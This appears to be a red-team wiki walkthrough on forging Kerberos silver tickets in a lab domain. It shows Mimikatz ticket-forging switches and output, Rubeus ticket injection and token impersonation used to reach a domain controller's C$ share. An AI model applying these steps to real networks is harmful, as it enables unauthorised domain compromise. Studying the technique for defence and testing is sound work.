Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.
Silver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.
Notes
Silver ticket is a valid TGS where a Golden ticket is a TGT
Encrypted and signed by the NTLM hash of the service account
Services only allow access to the services themselves
Techniques
Scenario
Domain Controller (DC01)
Workstation (Workstation-01)
This scenario assumes compromise where the computer account hash for DC01$ has already been revealed through one of the many methods found in this .
Here we are running as the local administrator on the WS01 system. Attempting to list the directory contents of C$ on the Domain Controller shows we are unable to do so (the local administrator has no permission over the C: drive on the DC).
Mimikatz (Method-01)
From the workstation we are able to make use of Mimikatz to forge a silver ticket using the NTLM machine account for the DC.
Command Breakdown
Switch
Description
kerberos::golden
Module name
/domain:
Domain FQDN
/sid:
Domain SID
/target:
Target FQDN
/service:
SPN name of service to create TGS for
/rc4:
NTLM / RC4 hash of the service account (DC01)
/aes265:
AES265 hash if /rc4: is not going to be used
/user:
Username for which the TGT is generated (Can be fake)
User : Viper
Domain : security.local (SECURITY)
SID : S-1-5-21-3601687231-1513629788-1757802677
User Id : 500
Groups Id : *513 512 520 518 519
ServiceKey: 53b82af68b0faf6587971fe807fad960 - rc4_hmac_nt
Service : CIFS
Target : dc01.security.local
Lifetime : 09/02/2023 13:21:08 ; 06/02/2033 13:21:08 ; 06/02/2033 13:21:08
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'Viper @ security.local' successfully submitted for current session
Now the ticket has been created and injected into the current process (/ptt) we can use the command below to open a new command prompt from Mimikatz whilst retaining the ticket.
Invoke-Mimikatz -Command "misc::cmd"
Next, use klist command to check if the ticket has retained in the new session
Some examples commands which can now be performed on the domain controller
Rubeus (Method-02)
Using Rubeus we can either forge the silver ticket and load into a separate session (cleaner) or forge the ticket and inject into the current process (may cause issues).
Forge and inject directly into the current process
# Createnetonly process, username and password can be anything
Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:Security.local /username:Administrator /password:NotRealPass
Output
[*] Action: Create Process (/netonly)
[*] Using Security.local\Administrator:NotRealPass
[*] Showing process : False
[*] Username : Administrator
[*] Domain : Security.local
[*] Password : NotRealPass
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 2080
[+] LUID : 0x12e0ab8
Take note of the LUID value in the output above. We need to now inject the silver ticket we forged earlier into the new LUID session.
Rubeus.exe ptt /luid:0x12e0ab8 /ticket:doIFuj[...snip...]lDLklP
After the ticket has been imported into the new LUID session we then need to impersonate the process token using the ProcessID from the output above (2080).
Invoke-SharpImpersonation -Command "pid:[PID]"
As above, checking klist shows the silver ticket has retained in our new shell process. We should now be able to list the contents of the Domain Controller's C: drive.
Output
Directory of \\DC01.Security.Local\C$
22/12/2022 13:30 <DIR> PerfLogs
22/12/2022 14:26 <DIR> Program Files
25/01/2023 17:02 <DIR> Program Files (x86)
26/01/2023 19:58 <DIR> Users
03/01/2023 16:01 <DIR> Windows
0 File(s) 0 bytes
5 Dir(s) 60,414,803,968 bytes free